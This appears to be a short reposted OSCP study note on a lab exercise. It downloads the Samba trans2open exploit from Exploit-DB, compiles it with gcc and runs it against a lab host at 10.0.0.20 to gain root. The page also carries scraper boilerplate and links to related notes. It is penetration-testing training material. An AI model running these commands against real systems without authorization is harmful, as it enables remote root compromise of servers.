OSCP Learning Notes - Exploit

Posted keepmoving1113

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了OSCP Learning Notes - Exploit相关的知识,希望对你有一定的参考价值。

Compiling an Exploit

Exercise: samba exploit

1. Search and download the samba exploit source code from Exploit Database.

https://www.exploit-db.com/exploits/10

技术图片

2. Compile the source code.

gcc 10.c -o trans2open

 

技术图片

 

3. Use the trans2open tool to exploit the target server. Root the target server sucessfully.

 

./trans2open -b 0 10.0.0.20

 

技术图片

 

以上是关于OSCP Learning Notes - Exploit的主要内容,如果未能解决你的问题,请参考以下文章

OSCP Learning Notes - Buffer Overflows

OSCP Learning Notes - Exploit

OSCP Learning Notes - Enumeration

OSCP Learning Notes - Capstone

OSCP Learning Notes - Exploit

OSCP Learning Notes - Exploit